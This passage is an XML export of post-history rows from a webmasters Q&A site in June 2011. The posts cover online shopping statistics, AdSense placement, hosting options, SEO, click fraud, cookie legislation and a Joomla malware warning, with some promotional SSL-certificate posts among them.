  <row Id="34542" PostHistoryTypeId="2" PostId="14705" RevisionGUID="99f53337-e0ed-40cb-9a26-22e40cf3db6c" CreationDate="2011-06-02T08:33:42.900" UserId="7198" Text="###Total sales&#xD;&#xA;2010 U.S. online business-to-consumer (B2C) sales totalled $142.5 billion [[source](http://en.wikipedia.org/wiki/Online_shopping#cite_ref-post_14-0)]. I couldn't find data for the total number of transactions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;###Male/female spending split&#xD;&#xA;Finding *annual* breakdown of male/female spending in the U.S. is hard, but there's plenty of data to suggest that women purchase more and spend more time online than men do, that they're more 'engaged', and that they research purchase decisions more carefully. From comScore's [Women on the Web](http://www.comscore.com/Press_Events/Presentations_Whitepapers/2010/Women_on_the_Web_How_Women_are_Shaping_the_Internet) whitepaper (registration required):&#xD;&#xA;&#xD;&#xA;&gt; &quot;In the U.S., women are more avid online buyers than men: 12.5 percent of women Internet users made an online purchase in February 2010, compared to 9.3 percent of men. Women’s contribution to e-commerce is greater in terms of buyers, transactions and dollars. In February 2010, for example, they accounted for 49.8 percent of the U.S. online population, but made up 57.9 percent of all non-travel buyers, made 61.1 percent of online purchases and accounted for 58.2 percent of online dollars.&quot;&#xD;&#xA;&#xD;&#xA;There's much more in the report that might be of interest to you too:&#xD;&#xA;&#xD;&#xA;&gt; &quot;In the U.S., visiting group-buying sites such as Groupon.com and LivingSocial.com is growing exponentially, and women are driving the growth: females make up 62 and 67 percent of Groupon.com and LivingSocial.com’s U.S. audiences, respectively.&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The Nielsen Company's [nielsenwire](http://blog.nielsen.com/nielsenwire/consumer/) site also suggests that U.S. women shop online more than U.S. men. From their [Q3 2010 report:](http://blog.nielsen.com/nielsenwire/consumer/in-u-s-men-are-shopping-more-than-ever-while-women-are-watching-more-tv/)&#xD;&#xA;&#xD;&#xA;&gt; &quot;Online shopping is popular among both sexes, with almost three-fourths of women (72%) and more than two-thirds of men (68%) having shopped online in the past 30 days. Consumers of both sexes age 35 to 54 had the highest levels of online shopping activity (74%). Women led most online purchase categories except music, auctions and computer hardware.&quot;&#xD;&#xA;  &#xD;&#xA;![online shopping spend][1]&#xD;&#xA;&#xD;&#xA;More from Nielsen, this time on online shopping habits of [Moms with kids under 18](http://blog.nielsen.com/nielsenwire/consumer/understanding-the-modern-american-mom/):&#xD;&#xA;&#xD;&#xA;&gt; &quot;Moms are more likely to shop for media items: books (11% more likely than the adult online population), magazines (20%), digital music (15%), video games (7%).  On the flipside, they tend to shy away from any investment shopping (53% less likely).&quot;&#xD;&#xA;&#xD;&#xA;In short, your quest for data on 'men vs women over a year' might be too broad to be useful (or even reliably measurable), since most research companies seek much more targeted data on industry segments and specifics (like monthly sales). I'd suggest narrowing down the scope to use 'x% of men vs y% of women purchased online in the last 30 days' -style data to support your case instead of seeking annual figures.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/a8Xir.jpg" />
  <row Id="34543" PostHistoryTypeId="2" PostId="14706" RevisionGUID="292bf5ae-f8e4-4bc9-9858-218bd18aac26" CreationDate="2011-06-02T08:40:01.213" UserId="3697" Text="In the iframe url of the registration plugin, you pass in a json object listing the fields you would like on the form.&#xD;&#xA;&#xD;&#xA;You can specify named fields (ie ones that exist within Facebook and so can be pre-populated) and also custom fields (anything that facebook doesn't know, but you might want). For example:&#xD;&#xA;&#xD;&#xA;    [&#xD;&#xA;     {'name':'name'},&#xD;&#xA;     {'name':'email'},&#xD;&#xA;     {'name':'location'},&#xD;&#xA;     {'name':'gender'},&#xD;&#xA;     {'name':'birthday'},&#xD;&#xA;     {'name':'password'},&#xD;&#xA;     {'name':'like', 'description':'Do you like this plugin?', 'type':'checkbox',  'default':'checked'},&#xD;&#xA;     {'name':'phone', 'description':'Phone Number', 'type':'text'},&#xD;&#xA;     {'name':'anniversary','description':'Anniversary', 'type':'date'},&#xD;&#xA;     {'name':'captain', 'description':'Best Captain', 'type':'select',    'options':{'P':'Jean-Luc Picard','K':'James T. Kirk'}},&#xD;&#xA;     {'name':'force', 'description':'Which side?', 'type':'select',    'options':{'jedi':'Jedi','sith':'Sith'}, 'default':'sith'},&#xD;&#xA;     {'name':'live', 'description':'Best Place to Live', 'type':'typeahead', 'categories':['city','country','state_province']},&#xD;&#xA;     {'name':'captcha'}&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;It's worth noting that facebook already has [named fields for firstname and lastname][1] - you can ask for these and facebook will pre-populate the fields, but allow the user to change them.&#xD;&#xA;&#xD;&#xA;All this is documented at https://developers.facebook.com/docs/plugins/registration/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developers.facebook.com/docs/plugins/registration/#named_fields" />
  <row Id="34544" PostHistoryTypeId="5" PostId="14705" RevisionGUID="0739547b-2cd6-4837-9466-4b1785b2fc0f" CreationDate="2011-06-02T08:40:12.660" UserId="7198" Comment="deleted 418 characters in body" Text="###Total sales&#xD;&#xA;2010 U.S. online business-to-consumer (B2C) sales totalled $142.5 billion [[source](http://en.wikipedia.org/wiki/Online_shopping#cite_ref-post_14-0)]. I couldn't find data for the total number of transactions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;###Male/female spending split&#xD;&#xA;Finding *annual* breakdown of male/female spending in the U.S. is hard, but there's plenty of data to suggest that women purchase more and spend more time online than men do, that they're more 'engaged', and that they research purchase decisions more carefully. From comScore's [Women on the Web](http://www.comscore.com/Press_Events/Presentations_Whitepapers/2010/Women_on_the_Web_How_Women_are_Shaping_the_Internet) whitepaper (registration required):&#xD;&#xA;&#xD;&#xA;&gt; &quot;In the U.S., women are more avid online buyers than men: 12.5 percent of women Internet users made an online purchase in February 2010, compared to 9.3 percent of men. Women’s contribution to e-commerce is greater in terms of buyers, transactions and dollars. In February 2010, for example, they accounted for 49.8 percent of the U.S. online population, but made up 57.9 percent of all non-travel buyers, made 61.1 percent of online purchases and accounted for 58.2 percent of online dollars.&quot;&#xD;&#xA;&#xD;&#xA;There's much more in the report that might be of interest to you too:&#xD;&#xA;&#xD;&#xA;&gt; &quot;In the U.S., visiting group-buying sites such as Groupon.com and LivingSocial.com is growing exponentially, and women are driving the growth: females make up 62 and 67 percent of Groupon.com and LivingSocial.com’s U.S. audiences, respectively.&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The Nielsen Company's [nielsenwire](http://blog.nielsen.com/nielsenwire/consumer/) site also suggests that U.S. women shop online more than U.S. men. From their [Q3 2010 report:](http://blog.nielsen.com/nielsenwire/consumer/in-u-s-men-are-shopping-more-than-ever-while-women-are-watching-more-tv/)&#xD;&#xA;&#xD;&#xA;&gt; &quot;Online shopping is popular among both sexes, with almost three-fourths of women (72%) and more than two-thirds of men (68%) having shopped online in the past 30 days. Consumers of both sexes age 35 to 54 had the highest levels of online shopping activity (74%). Women led most online purchase categories except music, auctions and computer hardware.&quot;&#xD;&#xA;  &#xD;&#xA;![online shopping spend][1]&#xD;&#xA;&#xD;&#xA;More from Nielsen, this time on online shopping habits of [Moms with kids under 18](http://blog.nielsen.com/nielsenwire/consumer/understanding-the-modern-american-mom/):&#xD;&#xA;&#xD;&#xA;&gt; &quot;Moms are more likely to shop for media items: books (11% more likely than the adult online population), magazines (20%), digital music (15%), video games (7%).  On the flipside, they tend to shy away from any investment shopping (53% less likely).&quot;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/a8Xir.jpg" />
  <row Id="34545" PostHistoryTypeId="2" PostId="14707" RevisionGUID="93f0def4-1091-46f4-9c69-6ea3259a1149" CreationDate="2011-06-02T08:45:54.407" UserId="7983" Text="Interesting discussion - it does look like a simple Analytic tracking cookies falls under the law.&#xD;&#xA;&#xD;&#xA;This is a really badly thought out bit of legislation. While a very small percentage of visitors are bothered, it is generally these people that know how to use browser cokkies settings. Everyone else just wants a web site to work.&#xD;&#xA;&#xD;&#xA;I wonder how long it will be before there is a browser plug in that automatically clicks the 'accept' button on all the cookies warning pop-ups?" />
  <row Id="34546" PostHistoryTypeId="5" PostId="14703" RevisionGUID="713223bd-17d4-4d67-8dd8-f863914404f0" CreationDate="2011-06-02T08:58:40.467" UserId="1643" Comment="Remove unnecessary lines, fix grammar" Text="This is strictly a blogger related query.&#xD;&#xA;&#xD;&#xA;I am running a blog on blogger i.e.blogspot.&#xD;&#xA;http://placementpapersanswers.blogspot.com&#xD;&#xA;&#xD;&#xA;For the last 2 months I have been trying to change the xml template code of my blog.&#xD;&#xA;I have tried few methods present  on the **following sites**,but it does not work for me.&#xD;&#xA;&#xD;&#xA;http://adsinthemiddle.blogspot.com/ and&#xD;&#xA;&#xD;&#xA;http://djyano.blogspot.com/2008/03/put-your-adsense-in-middle-of-post.html&#xD;&#xA;&#xD;&#xA;Still I'm not able to show adsense in the middle of my post.&#xD;&#xA;&#xD;&#xA;Can you help?" />
  <row Id="34547" PostHistoryTypeId="4" PostId="14703" RevisionGUID="713223bd-17d4-4d67-8dd8-f863914404f0" CreationDate="2011-06-02T08:58:40.467" UserId="1643" Comment="Remove unnecessary lines, fix grammar" Text="How to add adsense unit in the middle of my blog post  on blogger?" />
  <row Id="34548" PostHistoryTypeId="6" PostId="14703" RevisionGUID="713223bd-17d4-4d67-8dd8-f863914404f0" CreationDate="2011-06-02T08:58:40.467" UserId="1643" Comment="Remove unnecessary lines, fix grammar" Text="&lt;google-adsense&gt;&lt;blog&gt;&lt;blogger&gt;" />
  <row Id="34552" PostHistoryTypeId="25" PostId="14698" RevisionGUID="ab216abd-323e-42ac-ac85-d7cf6c510468" CreationDate="2011-06-02T09:13:34.197" Comment="http://twitter.com/#!/StackWebmasters/status/76214861457141760" />
  <row Id="34553" PostHistoryTypeId="2" PostId="14709" RevisionGUID="6590689b-1e66-42ee-b95b-61daff92e419" CreationDate="2011-06-02T10:01:15.130" UserId="7986" Text="One of my websites (Joomla) is being blocked by Avast when I try to go to the administrator page. I get the message that there is an HTML:imghack-a [Trj] threat. I guess its a trojan, but I cannot find any information about it on the net. When I log on with FTP and look at both the dates and the server-logs I cannot find any discrepancies or illegal activity.&#xD;&#xA;Does anyone know what this is and where to look?&#xD;&#xA;Thanks" />
  <row Id="34554" PostHistoryTypeId="1" PostId="14709" RevisionGUID="6590689b-1e66-42ee-b95b-61daff92e419" CreationDate="2011-06-02T10:01:15.130" UserId="7986" Text="What is HTML:imghack-a [Trj]?" />
  <row Id="34555" PostHistoryTypeId="3" PostId="14709" RevisionGUID="6590689b-1e66-42ee-b95b-61daff92e419" CreationDate="2011-06-02T10:01:15.130" UserId="7986" Text="&lt;joomla&gt;&lt;hacking&gt;" />
  <row Id="34556" PostHistoryTypeId="5" PostId="14697" RevisionGUID="ce8ca0f7-a565-43fa-9ce2-e74932562352" CreationDate="2011-06-02T10:16:01.540" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Why should I use a subdomain structure over a directory structure?](http://webmasters.stackexchange.com/questions/1326/why-should-i-use-a-subdomain-structure-over-a-directory-structure)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Why would you use one versus the other?&#xD;&#xA;&#xD;&#xA;blog.somecompany.com | www.somecompany.com/blog / mobile.somecompany.com | www.somecompany.com/mobile &#xD;&#xA;&#xD;&#xA;I'm not a web guy by any means, hence my question here. Feel free to be as technical or as simple as you want. I am not someone who is unfamiliar with tech, just unfamiliar with web development. &#xD;&#xA;&#xD;&#xA;Thanks! " />
  <row Id="34557" PostHistoryTypeId="10" PostId="14697" RevisionGUID="14b8f7f3-6a85-4f13-90c5-82c70978eedb" CreationDate="2011-06-02T10:16:01.087" UserId="1064" CloseReasonId="1" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="34558" PostHistoryTypeId="2" PostId="14710" RevisionGUID="5fe1665a-82b1-4b79-a055-96e00fa3fd32" CreationDate="2011-06-02T10:18:26.420" UserId="7198" Text="Domain Tools offer a [whois history service](http://www.domaintools.com/research/whois-history/) for most of the top level domains at [$29.95/month](http://www.domaintools.com/about/features-and-pricing/) with a 10 domain lookup limit. Their records go back to the year 2000.&#xD;&#xA;&#xD;&#xA;I've never found another working whois history service (paid or free), and I've spent a while looking.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;" />
  <row Id="34568" PostHistoryTypeId="2" PostId="14712" RevisionGUID="33b4ee5a-82d7-40f9-893b-7c3a55c33fa5" CreationDate="2011-06-02T12:11:17.577" UserId="7198" Text="Your site already has at least three AdSense units near the top of the page. Three is the [maximum number of AdSense units that Google allows](https://www.google.com/adsense/support/bin/answer.py?hl=en&amp;answer=9735) on the entire page.&#xD;&#xA;&#xD;&#xA;If you're trying to add a unit to the middle of the page, you might have to remove one or more of the three AdSense units above it, which might be causing it to hit the limit and prevent the fourth unit from displaying." />
  <row Id="34569" PostHistoryTypeId="25" PostId="14709" RevisionGUID="ec65851d-6bf6-47e1-aaf1-6f74f7cc9f4c" CreationDate="2011-06-02T12:13:34.277" Comment="http://twitter.com/#!/StackWebmasters/status/76260161601277952" />
  <row Id="34570" PostHistoryTypeId="17" PostId="14713" RevisionGUID="598c99d6-d9f8-40d6-a7ec-2d69c1236a20" CreationDate="2011-06-02T12:22:29.177" UserId="-1" Comment="from http://stackoverflow.com/questions/6201006/managed-dedicated-servers-vs-virtual-private-servers-vs-hosting-plans" Text="" />
  <row Id="34571" PostHistoryTypeId="17" PostId="14714" RevisionGUID="9675c63e-e331-4e55-bbe7-1df693827ffb" CreationDate="2011-06-02T12:22:29.177" UserId="-1" Comment="from http://stackoverflow.com/questions/6201006/managed-dedicated-servers-vs-virtual-private-servers-vs-hosting-plans" Text="" />
  <row Id="34572" PostHistoryTypeId="2" PostId="14714" RevisionGUID="6660b790-566b-47e2-9514-633a8b223e1b" CreationDate="2011-06-02T10:00:31.200" UserId="1643" Text="With a hosting package you have the ability to upload files, create databases and easily install some common software, like wordpress. You don't have the ability, for example, to upgrade the version of Perl or PHP being used. You are sharing disk space and CPU resources with other users.&#xD;&#xA;&#xD;&#xA;With a virtual private server the server thinks it's a real server, but is in fact sharing the same server as other VPSs. There will be limits on memory and CPU which help prevent the VPSs from, say, taking too much CPU. You can install software and configure it as much as you like.&#xD;&#xA;&#xD;&#xA;With a managed server you have a real server all to yourself.&#xD;&#xA;&#xD;&#xA;So it depends on how much control you want over ASP and SQLServer, and how many resources your site is going to need. " />
  <row Id="34573" PostHistoryTypeId="2" PostId="14713" RevisionGUID="b12067ec-25e0-48f9-aa13-9ea18eea17c7" CreationDate="2011-06-01T12:18:59.100" UserDisplayName="Jame" Text="Can any body tell me what is the difference between Managed Dedicated server and Virtual private server. Similarly what is difference between Virtual Private server and hosting package? And what to use in what situation?&#xD;&#xA;I read over internet but didn't get much idea of them. It would be highly appreciated if some reading material is also shared.&#xD;&#xA;&#xD;&#xA;If the answer depends on some technology, then i am mostly using ASP.net with C# and MS SQL Server for Database operations&#xD;&#xA;" />
  <row Id="34574" PostHistoryTypeId="1" PostId="14713" RevisionGUID="b12067ec-25e0-48f9-aa13-9ea18eea17c7" CreationDate="2011-06-01T12:18:59.100" UserDisplayName="Jame" Text="Managed Dedicated Servers vs Virtual private servers vs Hosting plans" />
  <row Id="34575" PostHistoryTypeId="3" PostId="14713" RevisionGUID="b12067ec-25e0-48f9-aa13-9ea18eea17c7" CreationDate="2011-06-01T12:18:59.100" UserDisplayName="Jame" Text="&lt;server&gt;&lt;web-hosting&gt;" />
  <row Id="34576" PostHistoryTypeId="5" PostId="9991" RevisionGUID="72c07872-7fcb-4dd9-b11e-1ec7c66d6fe2" CreationDate="2011-06-02T13:19:41.163" UserId="529" Comment="Adding image alt text to make this question somewhat Google-able. " Text="Does anyone know what CMS this is?&#xD;&#xA;&#xD;&#xA;Thanks!!&#xD;&#xA;![MA WebCenters Web Site Manager][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/ntW9l.jpg" />
  <row Id="34577" PostHistoryTypeId="24" PostId="9991" RevisionGUID="72c07872-7fcb-4dd9-b11e-1ec7c66d6fe2" CreationDate="2011-06-02T13:19:41.163" Comment="Proposed by 529 approved by 1064 edit id of 370" />
  <row Id="34578" PostHistoryTypeId="2" PostId="14715" RevisionGUID="252a9ba5-c16c-40ef-8a18-5c5f57dfc675" CreationDate="2011-06-02T13:42:45.853" UserId="6033" Text="Check your database. There's a good chance you've been hit by a [SQL Injection][1] and that would not be obvious by looking at FTP and most server logs. With the popularity of Joomla, Wordpress, etc there have been a lot of automated hacks targeting user friendly CMS software. I read something the other day that most malware gets installed to web users by legitimate websites that don't know their database has been compromised. Will post a link if I find the article again.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Sql_injection" />
  <row Id="34579" PostHistoryTypeId="5" PostId="14693" RevisionGUID="4dd940ad-bee5-49d7-9b9b-2c23b5e16e95" CreationDate="2011-06-02T13:44:06.097" UserId="1253" Comment="improved question and content" Text="Which is better for SEO ?   &#xD;&#xA;  &#xD;&#xA;**HTML**&#xD;&#xA;&#xD;&#xA;1. `&lt;p id=&quot;hello&quot;&gt;&lt;/p&gt; `&#xD;&#xA;&#xD;&#xA;2. `&lt;p id=&quot;HELLO&quot;&gt;&lt;/p&gt;`&#xD;&#xA;&#xD;&#xA;3. `&lt;p id=&quot;Hello&quot;&gt;&lt;/p&gt;`&#xD;&#xA;&#xD;&#xA;4. `&lt;p id=&quot;hELLO&quot;&gt;&lt;/p&gt;`  &#xD;&#xA;&#xD;&#xA;**JAVASCRIPT**  &#xD;&#xA;&#xD;&#xA;1. `function hello(){}`&#xD;&#xA;&#xD;&#xA;2. `function HELLO(){}`&#xD;&#xA;&#xD;&#xA;3. `function Hello(){}`&#xD;&#xA;&#xD;&#xA;4. `function hELLO(){}` &#xD;&#xA;" />
  <row Id="34580" PostHistoryTypeId="4" PostId="14693" RevisionGUID="4dd940ad-bee5-49d7-9b9b-2c23b5e16e95" CreationDate="2011-06-02T13:44:06.097" UserId="1253" Comment="improved question and content" Text="Do search engines care about case sensitivity?" />
  <row Id="34581" PostHistoryTypeId="6" PostId="14693" RevisionGUID="4dd940ad-bee5-49d7-9b9b-2c23b5e16e95" CreationDate="2011-06-02T13:44:06.097" UserId="1253" Comment="improved question and content" Text="&lt;seo&gt;&lt;javascript&gt;&lt;xhtml&gt;" />
  <row Id="34582" PostHistoryTypeId="4" PostId="8252" RevisionGUID="f0b0e6e7-775f-4b47-bfc3-4ac065cddbd8" CreationDate="2011-06-02T13:44:33.023" UserId="7198" Comment="Clarified question in title and retagged." Text="How can I prevent invalid clicks on my AdWords campaigns?" />
  <row Id="34583" PostHistoryTypeId="6" PostId="8252" RevisionGUID="f0b0e6e7-775f-4b47-bfc3-4ac065cddbd8" CreationDate="2011-06-02T13:44:33.023" UserId="7198" Comment="Clarified question in title and retagged." Text="&lt;advertising&gt;&lt;adwords&gt;&lt;ppc&gt;" />
  <row Id="34584" PostHistoryTypeId="24" PostId="8252" RevisionGUID="f0b0e6e7-775f-4b47-bfc3-4ac065cddbd8" CreationDate="2011-06-02T13:44:33.023" Comment="Proposed by 7198 approved by 1253 edit id of 371" />
  <row Id="34585" PostHistoryTypeId="2" PostId="14716" RevisionGUID="58d11c66-ace7-462b-8a8d-95c9e70105bd" CreationDate="2011-06-02T13:48:07.873" UserId="1253" Text="Case sensitivity doesn't matter for SEO. HTML, when used properly, does offer search engines clues about the content of a page but whether those tags and their attributes are capitalized or not is irrelevant. (Although it may matter for validating your HTML  depending on the Doctype you choose).&#xD;&#xA;&#xD;&#xA;Most search engines don't read JavaScript so that point may be moot. But even if they did the case of function names are also irrelevant. " />
  <row Id="34586" PostHistoryTypeId="2" PostId="14717" RevisionGUID="12e83c2d-3bd5-46cc-83d0-954154507fbd" CreationDate="2011-06-02T13:49:37.730" UserId="7990" Text="It is consistently acceptable to have an SSL certificate, as this will encrypt aware user information, although it shouldn't be appropriate in your case, unless you are manually charging the donations.&#xD;&#xA;&#xD;&#xA;You can have a look at our SSL certificates here: http://www.clickssl.com&#xD;&#xA;&#xD;&#xA;[RapidSSL][1] - SSL Certificate at only $10/yr.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.clickssl.com/rapidssl/rapidssl-products.aspx" />
  <row Id="34587" PostHistoryTypeId="2" PostId="14718" RevisionGUID="64cbcc0e-f4dd-4df9-89ba-7b41a5222ed0" CreationDate="2011-06-02T13:49:53.037" UserId="7988" Text="Technically your question is one of international law.&#xD;&#xA;But I think that's stretching the technicality well past absurdity for a public forum such as this.&#xD;&#xA;&#xD;&#xA;My answer is from a more practical &quot;what should the IT folks do until the lawyers and judges figure all this out?&quot; point of view.&#xD;&#xA;&#xD;&#xA;The answer is do nothing until you see the BIG players responding and then you will have to (like the rest of us) inevitably follow their lead.&#xD;&#xA;&#xD;&#xA;Don't expect anything significant to happen for years.&#xD;&#xA;&#xD;&#xA;These laws are rooted in aspiration and are an attempt to slowly guide privacy best practice (from the EU/ICO point of view) amongst web-hosts and web client developers backed up with the eventual full weight of legal requirement from a large jurisdiction (the EU).&#xD;&#xA;&#xD;&#xA;They obviously hope that the market will eventually come up with privacy-robust, usable and economically practical solutions.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34588" PostHistoryTypeId="2" PostId="14719" RevisionGUID="8e4e6f80-0ef1-44d4-8f4e-9f7546edf595" CreationDate="2011-06-02T13:51:43.473" UserId="1253" Text="Fortunately Google is aware of this scenario and will automatically detect fraud patterns like this and declare the clicks invalid. As long as you're not part of the click scheme you should be ok. So don't use that tool to click on your ads anymore or else you run the risk of being considered a fraudulent user. " />
  <row Id="34589" PostHistoryTypeId="5" PostId="14717" RevisionGUID="6ec2f0b2-75d8-469e-adae-31dd916f3449" CreationDate="2011-06-02T13:57:44.860" UserId="1253" Comment="removed sales pitch" Text="It is consistently acceptable to have an SSL certificate, as this will encrypt aware user information, although it shouldn't be appropriate in your case, unless you are manually charging the donations.&#xD;&#xA;" />
  <row Id="34590" PostHistoryTypeId="5" PostId="14715" RevisionGUID="b8902752-43fd-4e45-a929-98074d7ce7d8" CreationDate="2011-06-02T13:58:38.343" UserId="6033" Comment="deleted 5 characters in body" Text="Check your database. There's a chance you've been hit by a [SQL Injection][1] and that would not be obvious by looking at FTP and most server logs. With the popularity of Joomla, Wordpress, etc there have been a lot of automated hacks targeting user friendly CMS software. I read something the other day that most malware gets installed to web users by legitimate websites that don't know their database has been compromised. Will post a link if I find the article again.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Sql_injection" />
  <row Id="34591" PostHistoryTypeId="2" PostId="14720" RevisionGUID="d7a83878-ed52-460c-b631-755b6493cd2d" CreationDate="2011-06-02T14:04:46.587" UserId="7198" Text="###What you can't do:&#xD;&#xA;&#xD;&#xA; - Prevent people spoofing their IPs.&#xD;&#xA; - Block IP addresses on sites you don't&#xD;&#xA;   control (e.g. Google search results).&#xD;&#xA;&#xD;&#xA;###What you can do:  &#xD;&#xA;&#xD;&#xA;Google employs [automatic filters](http://adwords.google.com/support/aw/bin/answer.py?hl=en&amp;answer=6114) to combat click fraud and invalid clicks, but has a [number of suggestions](http://adwords.google.com/support/aw/bin/answer.py?hl=en&amp;answer=6429) for things you can do to monitor and detect invalid clicks yourself:&#xD;&#xA;&#xD;&#xA; - Track invalid clicks already captured by Google using the [Invalid Clicks column.](http://adwords.google.com/support/aw/bin/answer.py?hl=en&amp;answer=44008)&#xD;&#xA; - Monitor the [conversion rate](http://adwords.google.com/support/aw/bin/answer.py?answer=146654) of clicks to look for sudden drops or unexpected behaviour.&#xD;&#xA; - Try the [invalid clicks troubleshooter.](http://adwords.google.com/support/aw/bin/answer.py?hl=en&amp;answer=165472)&#xD;&#xA; - Report suspected invalid clicks ([within the U.S.](http://adwords.google.com/support/aw/bin/answer.py?hl=en&amp;answer=78390) or [outside the U.S.](http://adwords.google.com/support/aw/bin/answer.py?hl=en&amp;answer=6432))&#xD;&#xA; - Relax. Click fraud would be a huge threat to Google's business if they ignored it, so it's in their interest to actively counter it and investigate your concerns.&#xD;&#xA;" />
  <row Id="34592" PostHistoryTypeId="2" PostId="14721" RevisionGUID="8cc6b63e-97a4-4af1-9be1-a6c3ecab9a6b" CreationDate="2011-06-02T14:24:06.110" UserId="1253" Text="If you can't afford legal representation then purchasing a template from sites like you linked to above is probably the best way to go. Are they perfect? Not sure. But the odds are they will give you an excellent start on creating your own terms and conditions.&#xD;&#xA;&#xD;&#xA;Look at it this way, is it easier to start from scratch? Or to get one already written and tweak it to suit your specific needs? With the pricing they are offering it doesn't look like you have much to lose." />
  <row Id="34593" PostHistoryTypeId="5" PostId="10537" RevisionGUID="367a2b5c-b441-46af-9fbe-1d42f86bb7b1" CreationDate="2011-06-02T14:24:35.580" UserId="1253" Comment="modified tags" Text="I am developing a website for my partner who is currently a sole trader, presently selling on ebay but we have opted to create our own site.&#xD;&#xA;&#xD;&#xA;I've noticed that there are many sites allowing you to purchase base-line T&amp;Cs to be used on websites, I'm tempted to give these a go but I've heard nothing on whether they are any good or not, I know in this position it's best to seek legal advice, but the budget is tight so we really can't afford that.&#xD;&#xA;&#xD;&#xA;Has anyone had experience with these sites? e.g. http://www.netlawman.co.uk/ecomm-it/website-terms-and-conditions.php?gclid=CPL4g8D3q6cCFQoa4Qodhj5UBg.&#xD;&#xA;" />
  <row Id="34594" PostHistoryTypeId="6" PostId="10537" RevisionGUID="367a2b5c-b441-46af-9fbe-1d42f86bb7b1" CreationDate="2011-06-02T14:24:35.580" UserId="1253" Comment="modified tags" Text="&lt;ecommerce&gt;&lt;legal&gt;&lt;terms-of-use&gt;" />
  <row Id="34597" PostHistoryTypeId="2" PostId="14723" RevisionGUID="df31cc49-846f-44c0-ad49-d9815a049002" CreationDate="2011-06-02T14:43:01.343" UserId="1253" Text="&gt;1) Are there alternatives to this - is there a 3rd party provider who will give me this service without me sending them the credit card info?&#xD;&#xA;&#xD;&#xA;Only Google offers Adwords advertisements on their website. So if you want to have your ads appear on Google's website you must do it through Adwords.&#xD;&#xA;&#xD;&#xA;&gt;2) How secure is it to send my credit card fax via some online fax service?&#xD;&#xA;&#xD;&#xA;It's secure as long as you are sure no one is copying the fax. This really is only an issue on your end so if you can watch the fax process and ensure no one makes unauthorized copies of your card you should be fine.&#xD;&#xA;&#xD;&#xA;&gt;3) Do you think they will reject the application if I hide my CVV number in the fax?&#xD;&#xA;&#xD;&#xA;Probably. There's no reason to hide that number so if you do it probably will raise a big red flag with them. There's a lot of fraud involved in advertising so anything that makes you look suspicious is probably going to hurt your chances of being approved." />
  <row Id="34598" PostHistoryTypeId="5" PostId="9678" RevisionGUID="82c14850-6206-4eae-b6e4-db6f7562a579" CreationDate="2011-06-02T14:43:52.107" UserId="1253" Comment="modified tags, formatted text" Text="Google is asking me to fax credit card xerox in order to activate adwords API in MCC. &#xD;&#xA;&#xD;&#xA;1) Are there alternatives to this - is there a 3rd party provider who will give me this service without me sending them the credit card info?&#xD;&#xA;&#xD;&#xA;2) How secure is it to send my credit card fax via some online fax service?&#xD;&#xA;&#xD;&#xA;3) Do you think they will reject the application if I hide my CVV number in the fax?&#xD;&#xA;&#xD;&#xA;Any other thoughts appreciated.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34599" PostHistoryTypeId="6" PostId="9678" RevisionGUID="82c14850-6206-4eae-b6e4-db6f7562a579" CreationDate="2011-06-02T14:43:52.107" UserId="1253" Comment="modified tags, formatted text" Text="&lt;google&gt;&lt;adwords&gt;&lt;creditcard&gt;" />
  <row Id="34600" PostHistoryTypeId="2" PostId="14724" RevisionGUID="fe1c81b4-25f7-4dae-ad4e-92066e79d0af" CreationDate="2011-06-02T14:49:02.370" UserId="1253" Text="This almost always in the result of the files being uploaded to the wrong directory. Your files need to be placed in the webroot of your website. This folder can have several names including:&#xD;&#xA;&#xD;&#xA; - htdocs&#xD;&#xA; - www&#xD;&#xA; - public_html&#xD;&#xA;&#xD;&#xA;Find that directory and place your files in there. &#xD;&#xA;&#xD;&#xA;You may also need to delete the default home page as it may have priority over your new page and will continue to show until you delete it." />
  <row Id="34601" PostHistoryTypeId="2" PostId="14725" RevisionGUID="f539e75f-b254-4d53-a3e6-63b5219b4419" CreationDate="2011-06-02T14:52:30.263" UserId="1253" Text="If you are unsure which is better you should use [A/B testing][1] to figure it out. A/B testing allows you to show both options to your users (some see option A, some see option B) and see which one has a higher conversion rate. [Google's Website Optimizer][2] offers this functionality. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/A/B_testing&#xD;&#xA;  [2]: http://www.google.com/websiteoptimizer" />
  <row Id="34602" PostHistoryTypeId="2" PostId="14726" RevisionGUID="9b975576-5aa1-42a2-89b4-a254976b712e" CreationDate="2011-06-02T14:53:52.457" UserDisplayName="SSL News" Text="Many of the current phishing techniques rely on driving customers to spoofed Web sites to capture personal information. Technology such as Secure Sockets Layer (SSL) and Extended Validation (EV) SSL are critical in fighting phishing and other forms of cyber crime by encrypting sensitive information and helping customers authenticate your site.&#xD;&#xA;&#xD;&#xA;To help prevent phishing attacks from being successful and to build customer trust, companies also need a way to show customers that they are a legitimate business. Extended Validation (EV) SSL Certificates are the answer, offering the highest level of authentication available with an SSL Certificate and providing tangible proof to online users that the site is indeed a legitimate business.&#xD;&#xA;&#xD;&#xA;[EV Certificates][1] gives Web site visitors an easy and reliable way to establish trust online by triggering high security Web browsers to display a green address bar with the name of the organization that owns the [SSL Certificate][2] and the name of the Certificate Authority that issued 